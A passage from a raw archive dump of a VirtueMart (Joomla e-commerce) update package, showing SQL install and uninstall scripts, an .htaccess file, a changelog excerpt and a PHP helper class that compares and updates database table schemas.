NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userfield_value_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Holds the different values for dropdown and radio lists' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_userinfos` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_userinfos` ( `virtuemart_userinfo_id` int(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `address_type` char(2) NOT NULL DEFAULT '', `address_type_name` char(32) NOT NULL DEFAULT '', `name` char(64), `company` char(64), `title` char(32), `last_name` char(48), `first_name` char(48), `middle_name` char(48), `phone_1` char(32), `phone_2` char(32), `fax` char(32), `address_1` char(64) NOT NULL DEFAULT '', `address_2` char(64), `city` char(64) NOT NULL DEFAULT '', `virtuemart_state_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_country_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `zip` char(32) NOT NULL DEFAULT '', `agreed` tinyint(1) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_userinfo_id`), KEY `idx_userinfo_virtuemart_user_id` (`virtuemart_userinfo_id`,`virtuemart_user_id`), KEY `address_type` (`address_type`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 COMMENT='Customer Information, BT = BillTo and ST = ShipTo'; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_vendors` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendors` ( `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `vendor_name` char(64), `vendor_currency` int(11), `vendor_accepted_currencies` varchar(1536) NOT NULL DEFAULT '', `vendor_params` varchar(17000), `metarobot` char(20), `metaauthor` char(64), `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_vendor_id`), KEY `idx_vendor_name` (`vendor_name`) -- KEY `idx_vendor_category_id` (`vendor_category_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Vendors manage their products in your store' AUTO_INCREMENT=1 ; -- -- Table structure for table `#__virtuemart_vendor_medias` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_vendor_medias` ( `id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_media_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', PRIMARY KEY (`id`), UNIQUE KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`,`virtuemart_media_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_waitingusers` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_waitingusers` ( `virtuemart_waitinguser_id` INT(11) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_product_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `virtuemart_user_id` int(1) UNSIGNED NOT NULL DEFAULT '0', `notify_email` char(150) NOT NULL DEFAULT '', `notified` tinyint(1) NOT NULL DEFAULT '0', `notify_date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, `ordering` int(2) NOT NULL DEFAULT '0', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_waitinguser_id`), KEY `virtuemart_product_id` (`virtuemart_product_id`), KEY `notify_email` (`notify_email`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Stores notifications, users waiting f. products out of stock' AUTO_INCREMENT=1 ; -- -------------------------------------------------------- -- -- Table structure for table `#__virtuemart_worldzones` -- CREATE TABLE IF NOT EXISTS `#__virtuemart_worldzones` ( `virtuemart_worldzone_id` smallint(1) UNSIGNED NOT NULL AUTO_INCREMENT, `virtuemart_vendor_id` smallint(1), `zone_name` char(255), `zone_cost` decimal(10,2), `zone_limit` decimal(10,2), `zone_description` varchar(18000), `zone_tax_rate` int(1) UNSIGNED NOT NULL DEFAULT '0', `ordering` int(2) NOT NULL DEFAULT '0', `shared` tinyint(1) NOT NULL DEFAULT '0', `published` tinyint(1) NOT NULL DEFAULT '1', `created_on` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(11) NOT NULL DEFAULT '0', `modified_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `modified_by` int(11) NOT NULL DEFAULT '0', `locked_on` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `locked_by` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`virtuemart_worldzone_id`), KEY `i_virtuemart_vendor_id` (`virtuemart_vendor_id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='The Zones managed by the Zone Shipment Module' AUTO_INCREMENT=1 ; PKsl>\ޛ%**Scom_virtuemart_update/administrator/components/com_virtuemart/install/uninstall.sqlnuW+ADROP TABLE `#__virtuemart_permgroups`, `#__virtuemart_categories`, `#__virtuemart_category_categories`, `#__virtuemart_countries`, `#__virtuemart_coupons`, `#__virtuemart_currencies`, `#__virtuemart_customs`, `#__virtuemart_customplugins`, `#__virtuemart_manufacturers`, `#__virtuemart_manufacturercategories`, `#__virtuemart_adminmenuentries`, `#__virtuemart_modules`, `#__virtuemart_orders`, `#__virtuemart_order_histories`, `#__virtuemart_order_items`, `#__virtuemart_orderstates`, `#__virtuemart_order_userinfos`, `#__virtuemart_paymentmethods`, `#__virtuemart_products`, `#__virtuemart_product_categories`, `#__virtuemart_product_customfields`, `#__virtuemart_product_downloads`, `#__virtuemart_medias`, `#__virtuemart_product_manufacturers`, `#__virtuemart_product_prices`, `#__virtuemart_product_producttypes`, `#__virtuemart_product_relations`, `#__virtuemart_rating_reviews`, `#__virtuemart_producttypes`, `#__virtuemart_producttype_customfields`, `#__virtuemart_shipmentmethods`, `#__virtuemart_shoppergroups`, `#__virtuemart_states`, `#__virtuemart_userfields`, `#__virtuemart_userfield_values`, `#__virtuemart_vmusers`, `#__virtuemart_userinfos`, `#__virtuemart_vmuser_shoppergroups`, `#__virtuemart_vendors`, `#__virtuemart_waitingusers`, `#__virtuemart_worldzones`;PKsl>\MXcom_virtuemart_update/administrator/components/com_virtuemart/install/uninstall_data.sqlnuW+A-- Remove all virtuemart data DELETE FROM `#__virtuemart_calcs`; DELETE FROM `#__virtuemart_calc_categories`; DELETE FROM `#__virtuemart_calc_shoppergroups`; DELETE FROM `#__virtuemart_calc_countries`; DELETE FROM `#__virtuemart_calc_states`; DELETE FROM `#__virtuemart_categories`; DELETE FROM `#__virtuemart_category_categories`; DELETE FROM `#__virtuemart_category_medias`; DELETE FROM `#__virtuemart_coupons`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_customs`; DELETE FROM `#__virtuemart_manufacturers`; DELETE FROM `#__virtuemart_manufacturercategories`; DELETE FROM `#__virtuemart_manufacturer_medias`; DELETE FROM `#__virtuemart_medias`; DELETE FROM `#__virtuemart_migration_oldtonew_ids`; DELETE FROM `#__virtuemart_orders`; DELETE FROM `#__virtuemart_order_histories`; DELETE FROM `#__virtuemart_order_items`; DELETE FROM `#__virtuemart_order_userinfos`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_paymentmethod_shoppergroups`; DELETE FROM `#__virtuemart_products`; DELETE FROM `#__virtuemart_product_categories`; DELETE FROM `#__virtuemart_product_customfields`; DELETE FROM `#__virtuemart_product_downloads`; DELETE FROM `#__virtuemart_product_manufacturers`; DELETE FROM `#__virtuemart_product_medias`; DELETE FROM `#__virtuemart_product_prices`; DELETE FROM `#__virtuemart_ratings`; DELETE FROM `#__virtuemart_rating_reviews`; DELETE FROM `#__virtuemart_rating_votes`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_states`; DELETE FROM `#__virtuemart_userinfos`; DELETE FROM `#__virtuemart_userfield_values`; DELETE FROM `#__virtuemart_vendors`; DELETE FROM `#__virtuemart_vendor_medias`; DELETE FROM `#__virtuemart_vmusers`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_waitingusers`; DELETE FROM `#__virtuemart_worldzones`;PKsl>\)Ocom_virtuemart_update/administrator/components/com_virtuemart/install/.htaccessnuW+A Order allow,deny Deny from all PKsl>\Pcom_virtuemart_update/administrator/components/com_virtuemart/install/index.htmlnuW+APKsl>\SPPKcom_virtuemart_update/administrator/components/com_virtuemart/changelog.phpnuW+A Legend: * -> Security Fix # -> Bug Fix $ -> Language fix or change + -> Addition ^ -> Change - -> Removed ! -> Note -------------------- 1.5.0 Stable Release [Release date here] ------------------ ^ Category maintenance converted to MVC ^ Manufacturer Category view converted ^ Landing page converted to MVC ^ Media handling converted to MVC ^ Product listing converted to MVC ^ Administrator menu converted to MVC helper ^ Country maintenance converted to MVC ^ Credit card maintenance converted to MVC ^ Currency maintenance converted to MVC ^ Coupon maintenance converted to MVC + Added the ability to publish/unpublish countries ^ Coupon maintenance converted to MVC ^ Shipment Carrier maintenance converted to MVC ^ Shipment Rate maintenance converted ^ Order Status maintenance page converted to MVC # Bug 1538 fixed; Product pricing table changePKsl>\s]]Vcom_virtuemart_update/administrator/components/com_virtuemart/helpers/tableupdater.phpnuW+A_app = JFactory::getApplication(); $this->_db = JFactory::getDBO(); // $this->_oldToNew = new stdClass(); $this->starttime = microtime(true); $max_execution_time = VmConfig::getExecutionTime(); $jrmax_execution_time= JRequest::getInt('max_execution_time',300); if(!empty($jrmax_execution_time)){ // vmdebug('$jrmax_execution_time',$jrmax_execution_time); if($max_execution_time!==$jrmax_execution_time) @ini_set( 'max_execution_time', $jrmax_execution_time ); } $this->maxScriptTime = VmConfig::getExecutionTime() * 0.90-1; //Lets use 10% of the execution time as reserve to store the progress VmConfig::ensureMemoryLimit(128); $this->maxMemoryLimit = $this->return_bytes(ini_get('memory_limit')) * 0.85; $config = JFactory::getConfig(); $this->_prefix = $config->getValue('config.dbprefix'); $this->reCreaPri = VmConfig::get('reCreaPri',0); $this->reCreaKey = VmConfig::get('reCreaKey',1); } public function reOrderChilds(){ vmdebug('I am in reOrderChilds'); } var $tables = array( 'products'=>'virtuemart_product_id', 'vendors'=>'virtuemart_vendor_id', 'categories'=>'virtuemart_category_id', 'manufacturers'=>'virtuemart_manufacturer_id', 'manufacturercategories'=>'virtuemart_manufacturercategories_id', 'paymentmethods'=>'virtuemart_paymentmethod_id', 'shipmentmethods'=>'virtuemart_shipmentmethod_id'); /** * * * @author Max Milbers * @param unknown_type $config */ public function createLanguageTables($langs=0){ if(empty($langs)){ $langs = VmConfig::get('active_languages'); if(empty($langs)){ $params = JComponentHelper::getParams('com_languages'); $langs = (array)$params->get('site', 'en-GB'); } } $langTables = array(); //Todo add the mb_ stuff here // vmTime('my langs
'.print_r($langs,1).'
'); $i = 0; foreach($this->tables as $table=>$tblKey){ // if($i>1) continue; $className = 'Table'.ucfirst ($table); if(!class_exists($className)) require(JPATH_VM_ADMINISTRATOR.DS.'tables'.DS.$table.'.php'); $tableName = '#__virtuemart_'.$table; $langTable = $this->getTable($table); $translatableFields = $langTable->getTranslatableFields(); if(empty($translatableFields)) continue; $fields = array(); $lines = array(); $linedefault = "NOT NULL DEFAULT ''"; //Text has no default $linedefaulttext = "NOT NULL"; $fields[$tblKey] = 'int(1) UNSIGNED NOT NULL'; // vmdebug('createLanguageTables ',$translatableFields); //set exceptions from normal shema here ! //Be aware that you can use this config settings, when declaring them in the virtuemart.cfg if(VmConfig::get('dblayoutstrict',true)){ if($table=='products'){ $fields['product_s_desc'] = 'varchar('.VmConfig::get('dbpsdescsize',2000).') '.$linedefault; $fields['product_desc'] = 'varchar('.VmConfig::get('dbpdescsize',18400).') '.$linedefault; $key = array_search('product_desc', $translatableFields); unset($translatableFields[$key]); $key = array_search('product_s_desc', $translatableFields); unset($translatableFields[$key]); } else if($table=='vendors'){ //This makes too much trouble with the vendor stuff, so we use simply text for it // $fields['vendor_store_desc'] = 'varchar('.VmConfig::get('dbvdescsize',1800).') '.$linedefault; // $fields['vendor_terms_of_service'] = 'varchar('.VmConfig::get('dbtossize',18100).') '.$linedefault; // $fields['vendor_legal_info'] = 'varchar('.VmConfig::get('dblegalsize',1100).') '.$linedefault; $fields['vendor_store_desc'] = 'text '.$linedefaulttext; $fields['vendor_terms_of_service'] = 'text '.$linedefaulttext; $fields['vendor_legal_info'] = 'text '.$linedefaulttext; $fields['vendor_letter_css'] = 'text '.$linedefaulttext; $fields['vendor_letter_header_html'] = "varchar(8000) NOT NULL DEFAULT '

{vm:vendorname}

{vm:vendoraddress}

'"; $fields['vendor_letter_footer_html'] = "varchar(8000) NOT NULL DEFAULT '

{vm:vendorlegalinfo}
Page {vm:pagenum}/{vm:pagecount}

'"; $key = array_search('vendor_store_desc', $translatableFields); unset($translatableFields[$key]); $key = array_search('vendor_terms_of_service', $translatableFields); unset($translatableFields[$key]); $key = array_search('vendor_legal_info', $translatableFields); unset($translatableFields[$key]); $key = array_search('vendor_letter_css', $translatableFields); unset($translatableFields[$key]); $key = array_search('vendor_letter_header_html', $translatableFields); unset($translatableFields[$key]); $key = array_search('vendor_letter_footer_html', $translatableFields); unset($translatableFields[$key]); } } else { $fields['vendor_terms_of_service'] = 'text '.$linedefaulttext; $key = array_search('vendor_terms_of_service', $translatableFields); unset($translatableFields[$key]); $fields['vendor_legal_info'] = 'text '.$linedefaulttext; $key = array_search('vendor_legal_info', $translatableFields); unset($translatableFields[$key]); } // vmdebug('createLanguageTables ',$translatableFields); foreach($translatableFields as $k => $name){ if(strpos($name,'name') !==false ){ $fields[$name] = 'char('.VmConfig::get('dbnamesize',180).') '.$linedefault; } else if(strpos($name,'metadesc')!==false ){ $fields[$name] = 'varchar('.VmConfig::get('dbmetasize',400).') '.$linedefault; } else if(strpos($name,'metatitle')!==false ){ $fields[$name] = 'char('.VmConfig::get('dbmetasize',100).') '.$linedefault; } else if(strpos($name,'metakey')!==false ){ $fields[$name] = 'varchar('.VmConfig::get('dbmetasize',400).') '.$linedefault; } else if(strpos($name,'metaauthor')!==false ){ $fields[$name] = 'char(64) '.$linedefault; } else if(strpos($name,'slug')!==false ){ $fields[$name] = 'char('.VmConfig::get('dbslugsize',192).') '.$linedefault; $slug = true; }else if(strpos($name,'phone')!==false) { $fields[$name] = 'char(26) '.$linedefault; }else if(strpos($name,'desc')!==false) { if(VmConfig::get('dblayoutstrict',true)){ $fields[$name] = 'varchar('.VmConfig::get('dbdescsize',19000).') '.$linedefault; } else { $fields[$name] = 'text '.$linedefaulttext; } } else { $fields[$name] = 'char(255) '.$linedefault; } } $lines[0] = $fields; $lines[1][$tblKey] = 'PRIMARY KEY (`'.$tblKey.'`)'; if($slug){ $lines[1]['slug'] = 'UNIQUE KEY `slug` (`slug`)'; } $table[3] = ''; foreach($langs as $lang){ // $lang = strtr($lang,'-','_'); $lang = strtolower(strtr($lang,'-','_')); $tbl_lang = $tableName.'_'.$lang; $langTables[$tbl_lang] = $lines; } $i++; } $ret = $this->updateMyVmTables($langTables); // vmTime('done creation of lang tables'); return $ret; } public function updateMyVmTables($file = 0, $like ='_virtuemart_'){ if(empty($file)){ $file = JPATH_VM_ADMINISTRATOR.DS.'install'.DS.'install.sql'; } if(is_array($file)){ $tables = $file; } else { $data = fopen($file, 'r'); $tables = array(); $tableDefStarted = false; while ($line = fgets ($data)) { $line = trim($line); if (empty($line)) continue; // Empty line if (strpos($line, '#') === 0) continue; // Commentline if (strpos($line, '--') === 0) continue; // Commentline if(strpos($line,'CREATE TABLE IF NOT EXISTS')!==false){ $tableDefStarted = true; $fieldLines = array(); $tableKeys = array(); $start = strpos($line,'`'); $tablename = trim(substr($line,$start+1,-3)); // vmdebug('my $tablename ',$start,$end,$line); } else if($tableDefStarted && strpos($line,'KEY')!==false){ $start = strpos($line,"`"); $temp = substr($line,$start+1); $end = strpos($temp,"`"); $keyName = substr($temp,0,$end); if(strrpos($line,',')==strlen($line)-1){ $line = substr($line,0,-1); } $tableKeys[$keyName] = $line; } else if(strpos($line,'ENGINE')!==false){ $tableDefStarted = false; $start = strpos($line,"COMMENT='"); $temp = substr($line,$start+9); $end = strpos($temp,"'"); $comment = substr($temp,0,$end); $tables[$tablename] = array($fieldLines, $tableKeys,$comment); } else if($tableDefStarted){ $start = strpos($line,"`"); $temp = substr($line,$start+1); $end = strpos($temp,"`"); $keyName = substr($temp,0,$end); $line = trim(substr($line,$end+2)); if(strrpos($line,',')==strlen($line)-1){ $line = substr($line,0,-1); } $fieldLines[$keyName] = $line; } } } // vmdebug('updateMyVmTables $tables',$tables); return false; // vmdebug('Parsed tables',$tables); //return; $this->_db->setQuery('SHOW TABLES LIKE "%'.$like.'%"'); if (!$existingtables = $this->_db->loadResultArray()) { vmError('updateMyVmTables '.$this->_db->getErrorMsg()); return false; } $i = 0; $demandedTables = array(); //TODO ignore admin menu table foreach ($tables as $tablename => $table){ // if($i>2) continue; $tablename = str_replace('#__',$this->_prefix,$tablename); $demandedTables[] = $tablename; if(in_array($tablename,$existingtables)){ // if($tablename==$this->_prefix.'virtuemart_userinfos'){ if($this->reCreaPri!=0){ $this->alterColumns($tablename,$table[0],true); $this->alterKey($tablename,$table[1],true); $this->alterColumns($tablename,$table[0],false); } else { $this->alterColumns($tablename,$table[0],false); if($this->reCreaKey!=0){ $this->alterKey($tablename,$table[1],false); } } // unset($todelete[$tablename]); } else { $this->createTable($tablename,$table); } // $this->_db->setQuery('OPTIMIZE '.$tablename); // $this->_db->query(); $i++; } //We need first a method here to register valid plugin tables /* $tablesWithLang = array_keys($this->tables); //('categories','manufacturercategories','manufacturers','paymentmethods','shipmentmethods','products','vendors'); // $alangs = VmConfig::get('active_languages'); // if(empty($alangs)) $alangs = array(VmConfig::setdbLanguageTag()); // foreach($alangs as $lang){ // foreach($tablesWithLang as $tablewithlang){ // $demandedTables[] = $this->_prefix.'virtuemart_'.$tablewithlang.'_'.$lang; // } // } // $demandedTables[] = $this->_prefix.'virtuemart_configs'; // $todelete = array(); // foreach ($existingtables as $tablename){ // if(!in_array($tablename,$demandedTables) and strpos($tablename,'_plg_')===false){ // $todelete[] = $tablename; // } // } // $this->dropTables($todelete); */ } public function createTable($tablename,$table){ $q = 'CREATE TABLE IF NOT EXISTS `'.$tablename.'` ( '; foreach($table[0] as $fieldname => $alterCommand){ $q .= '`'.$fieldname.'` '.$alterCommand.', '; } foreach($table[1] as $name => $value){ $q .= $value.', '; } $q = substr(trim($q),0,-1); $comment = ''; if(!empty($table[3])){ $comment = " COMMENT='".$table[3]."'"; } $q .= ") ENGINE=MyISAM DEFAULT CHARSET=utf8".$comment." AUTO_INCREMENT=1 ;"; $this->_db->setQuery($q); if(!$this->_db->query()){ vmError('createTable ERROR :'.$this->_db->getErrorMsg() ); } else { vmInfo('created table '.$tablename); } // $this->_app->enqueueMessage($q); } public function dropTables($todelete){ if(empty($todelete)) return; $q = 'DROP ';// .implode(',',$todelete); foreach($todelete as $tablename){ $tablename = str_replace('#__',$this->_prefix,$tablename); $q .= $tablename.', '; } $q = substr($q,0,-1); // $this->_db->setQuery($q); // if(!$this->_db->query()){ // $this->_app->enqueueMessage('dropTables ERROR :'.$this->_db->getErrorMsg() ); // } $this->_app->enqueueMessage($q); } private function alterKey($tablename,$keys,$reCreatePrimary){ if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ vmWarn('compareUpdateTable alterKey not finished, please rise execution time and update tables again'); return false; } $demandFieldNames = array(); foreach($keys as $i=>$line){ $demandedFieldNames[] = $i; } // vmdebug(' $demandedFieldNames ' ,$demandedFieldNames); $query = "SHOW INDEXES FROM `".$tablename."` "; //SHOW {INDEX | INDEXES | KEYS} $this->_db->setQuery($query); if(!$eKeys = $this->_db->loadObjectList() ){ $this->_app->enqueueMessage('alterKey show index:'.$this->_db->getErrorMsg() ); } else { $eKeyNames= $this->_db->loadResultArray(2); } // vmdebug('my $eKeys',$eKeys); $dropped = 0; $existing = array(); foreach($eKeyNames as $i => $name){ $query = ''; //doubled keys are listed twice, but gets both deleted with one command, so we must check if the key is still there $this->_db->setQuery("SHOW INDEXES FROM `".$tablename."` "); //SHOW {INDEX | INDEXES | KEYS} $eKeyNamesNOW= $this->_db->loadResultArray(2); $oldcolum = $this->reCreateKeyByTableAttributes($eKeys[$i]); if(!in_array($oldcolum,$keys)){ if(!$reCreatePrimary){ if(strpos($eKeys[$i]->Key_name,'PRIMARY')!==false){ $isPrim = true; } } if(!in_array($name,$eKeyNamesNOW) or $isPrim){ continue; } else { $query = 'ALTER TABLE `'.$tablename.'` DROP INDEX `'.$name.'` '; } if(!empty($query)){ $this->_db->setQuery($query); if(!$this->_db->query()){ $this->_app->enqueueMessage('alterTable DROP '.$tablename.'.'.$name.' :'.$this->_db->getErrorMsg() ); } else { $dropped++; // vmdebug('alterKey: Dropped KEY `'.$name.'` in table `'.$tablename.'`'); } } } else { $existing[] = $name; } $isPrim = false; } foreach($keys as $name =>$value){ if(!$reCreatePrimary){ if(strpos($value,'PRIMARY')!==false){ continue; } } if(in_array($name,$existing)){ continue; } $query = ''; $action = ''; $query = "ALTER TABLE `".$tablename."` ADD ".$value ; $action = 'ADD'; if(!empty($query)){ $this->_db->setQuery($query); if(!$this->_db->query()){ $this->_app = JFactory::getApplication(); $this->_app->enqueueMessage('alterKey '.$action.' INDEX '.$name.': '.$this->_db->getErrorMsg() ); } else { // vmdebug('alterKey: a:'.$action.' KEY `'.$name.'` in table `'.$tablename.'` '.$this->_db->getQuery()); } } } } function reCreateKeyByTableAttributes($keyAttribs){ $oldkey =''; if(!empty($keyAttribs->Key_name) && !empty($keyAttribs->Column_name) ){ if(strpos($keyAttribs->Key_name,'PRIMARY')!==false){ $oldkey = 'PRIMARY KEY (`'.$keyAttribs->Column_name.'`)'; } else { $oldkey = 'KEY `'.$keyAttribs->Key_name.'` (`'.$keyAttribs->Column_name.'`)'; } } else { vmdebug('reCreateKeyByTableAttributes $keyAttribs empty?',$keyAttribs); } // if(empty($keyAttribs->Cardinality)){ // vmdebug('Cardinality : '.$keyAttribs->Cardinality.' '.$oldkey); // } return $oldkey; } /** * @author Max Milbers * @param unknown_type $tablename * @param unknown_type $fields * @param unknown_type $command */ public function alterColumns($tablename,$fields,$reCreatePrimary){ $after ='FIRST'; $dropped = 0; $altered = 0; $added = 0; $this->_app = JFactory::getApplication(); $demandFieldNames = array(); foreach($fields as $i=>$line){ $demandFieldNames[] = $i; } $query = 'SHOW FULL COLUMNS FROM `'.$tablename.'` '; //$q = 'SHOW CREATE TABLE '.$this->_tbl; $this->_db->setQuery($query); $fullColumns = $this->_db->loadObjectList(); $columns = $this->_db->loadResultArray(0); //Attention user_infos is not in here, because it an contain customised fields. #__virtuemart_order_userinfos #__virtuemart_userinfos //This is currently not working as intended, because the config is not deleted before, it is better to create an extra command for this, when we need it later $upDelCols = (int) VmConfig::get('updelcols',0); if($upDelCols==1 and !($tablename==$this->_prefix.'virtuemart_userfields' or $tablename==$this->_prefix.'virtuemart_userinfos' or $tablename==$this->_prefix.'virtuemart_order_userinfos')){ foreach($columns as $fieldname){ if(!in_array($fieldname, $demandFieldNames)){ $query = 'ALTER TABLE `'.$tablename.'` DROP COLUMN `'.$fieldname.'` '; $action = 'DROP'; $dropped++; $this->_db->setQuery($query); if(!$this->_db->query()){ $this->_app->enqueueMessage('alterTable '.$action.' '.$tablename.'.'.$fieldname.' :'.$this->_db->getErrorMsg() ); } } } } // vmdebug('$$columns ',$columns); foreach($fields as $fieldname => $alterCommand){ if((microtime(true)-$this->starttime) >= ($this->maxScriptTime)){ vmWarn('alterColumns alterKey not finished, please rise execution time and update tables again'); return false; } $query=''; $action = ''; if(empty($alterCommand)){ vmdebug('empty alter command '.$fieldname); continue; } // we remove the auto_increment, to be free to set the primary key if(strpos($alterCommand,'AUTO_INCREMENT')!==false and $reCreatePrimary){ $alterCommand = str_replace('AUTO_INCREMENT', '',$alterCommand); } if(in_array($fieldname,$columns)){ $key=array_search($fieldname, $columns); $oldColumn = $this->reCreateColumnByTableAttributes($fullColumns[$key]); //Attention, we give for a primary the auto_increment back, so we cant decide if a key is used as primary, //but has no auto increment, so wie alter it anytime if(strpos($alterCommand,'AUTO_INCREMENT')!==false and $reCreatePrimary) { $query = 'ALTER TABLE `'.$tablename.'` CHANGE COLUMN `'.$fieldname.'` `'.$fieldname.'` '.$alterCommand; $action = 'CHANGE'; $altered++; // vmdebug('$fieldname just auto '.$fieldname,$alterCommand,$oldColumn); } else { // while (strpos($oldColumn,' ')){ // str_replace(' ', ' ', $oldColumn); // } while (strpos($alterCommand,' ')){ $alterCommand = str_replace(' ', ' ', trim($alterCommand)); } // str_replace(' ', ' ', $alterCommand); // $compare = strcasecmp( $oldColumn, $alterCommand); // $compare = strcasecmp( $oldColumn, $alterCommand); // if (!empty($compare)) { $oldColumn = strtoupper($oldColumn); $alterCommand = strtoupper(trim($alterCommand)); if ($oldColumn != $alterCommand ) { $query = 'ALTER TABLE `'.$tablename.'` CHANGE COLUMN `'.$fieldname.'` `'.$fieldname.'` '.$alterCommand; $action = 'CHANGE'; $altered++; vmdebug($tablename.' Alter field '.$fieldname.' oldcolumn ',$oldColumn,$alterCommand); // vmdebug('Alter field new column ',$fullColumns[$key]); // vmdebug('Alter field new column '.$this->reCreateColumnByTableAttributes($fullColumns[$key])); //,$fullColumns[$key]); } } } else { $query = 'ALTER TABLE `'.$tablename.'` ADD '.$fieldname.' '.$alterCommand.' '.$after; $action = 'ADD'; $added++; // vmdebug('$fieldname '.$fieldname); } if (!empty($query)) { $this->_db->setQuery($query); $err = $this->_db->getErrorMsg(); if(!$this->_db->query() or !empty($err) ){ vmError('alterTable '.$action.' '.$tablename.'.'.$fieldname.' : '.$err ); } else { vmInfo('alterTable '.$action.' '.$tablename.'.'.$fieldname.' : '. $query); } $after = 'AFTER '.$fieldname; } } if($dropped != 0 or $altered !=0 or $added!=0){ $this->_app->enqueueMessage('Table updated: Tablename '.$tablename.' dropped: '.$dropped.' altered: '.$altered.' added: '.$added); $err = $this->_db->getErrorMsg(); if(!empty($err)){ vmError('Tableupdater updating table '.$tablename.' throws error '.$err); } } return true; } private function reCreateColumnByTableAttributes($fullColumn){ $oldColumn = $fullColumn->Type; if(!empty($fullColumn->Null)){ $oldColumn .= $this->notnull($fullColumn->Null).$this->getdefault($fullColumn->Default); } $oldColumn .= $this->formatExtra($fullColumn->Extra).$this->formatComment($fullColumn->Comment); return $oldColumn; } private function reCreateColumnByTableAttributesol($fullColumn){ $oldColumn = $fullColumn->Type; if($this->notnull($fullColumn->Null)){ $oldColumn .= $this->notnull($fullColumn->Null).$this->getdefault($fullColumn->Default); } $oldColumn .= $this->primarykey($fullColumn->Key).$this->formatComment($fullColumn->Comment); return $oldColumn; } // $oldColumn=$fullColumns[$key]->Type. .$this->primarykey($fullColumns[$key]->Key).$this->formatComment($fullColumns[$key]->Comment); private function formatComment($comment){ if(!empty($comment)){ return ' COMMENT \''.$comment.'\''; } else { return ''; } } private function notnull($string){ if ($string=='NO') { return ' NOT NULL'; } else { return ''; } } private function formatExtra($extra){ if (!empty($extra)) { return ' '.strtoupper(trim($extra)); } else { return ''; } } private function primarykey($string){ if ($string=='PRI') { return ' AUTO_INCREMENT'; } else { return ''; } } private function getdefault($string){ if (isset($string)) { if(strpos($string,'CURRENT_TIMESTAMP')!==FALSE){ return " DEFAULT ".trim($string); } else { return " DEFAULT '".trim($string)."'"; } } else { return ''; } } private function return_bytes($val) { $val = trim($val); $last = strtolower($val[strlen($val)-1]); switch($last) { // The 'G' modifier is available since PHP 5.1.0 case 'g': $val *= 1024; case 'm': $val *= 1024; case 'k': $val *= 1024; } return $val; } private function _getMaxItems($name){ $maxItems = 50; $freeRam = ($this->maxMemoryLimit - memory_get_usage(true))/(1024 * 1024) ; $maxItems = (int)$freeRam * 100; if($maxItems<=0){ $maxItems = 50; vmWarn('Your system is low on RAM! Limit set: '.$this->maxMemoryLimit.' used '.memory_get_usage(true)/(1024 * 1024).' MB and php.ini '.ini_get('memory_limit')); } vmdebug('Migrating '.$name.', free ram left '.$freeRam.' so limit chunk to '.$maxItems); return $maxItems; } function loadCountListContinue($q,$startLimit,$maxItems,$msg){ $continue = true; $this->_db->setQuery($q); if(!$this->_db->query()){ vmError($msg.' db error '. $this->_db->getErrorMsg()); vmError($msg.' db error '. $this->_db->getQuery()); $entries = array(); $continue = false; } else { $entries = $this->_db->loadAssocList(); $count = 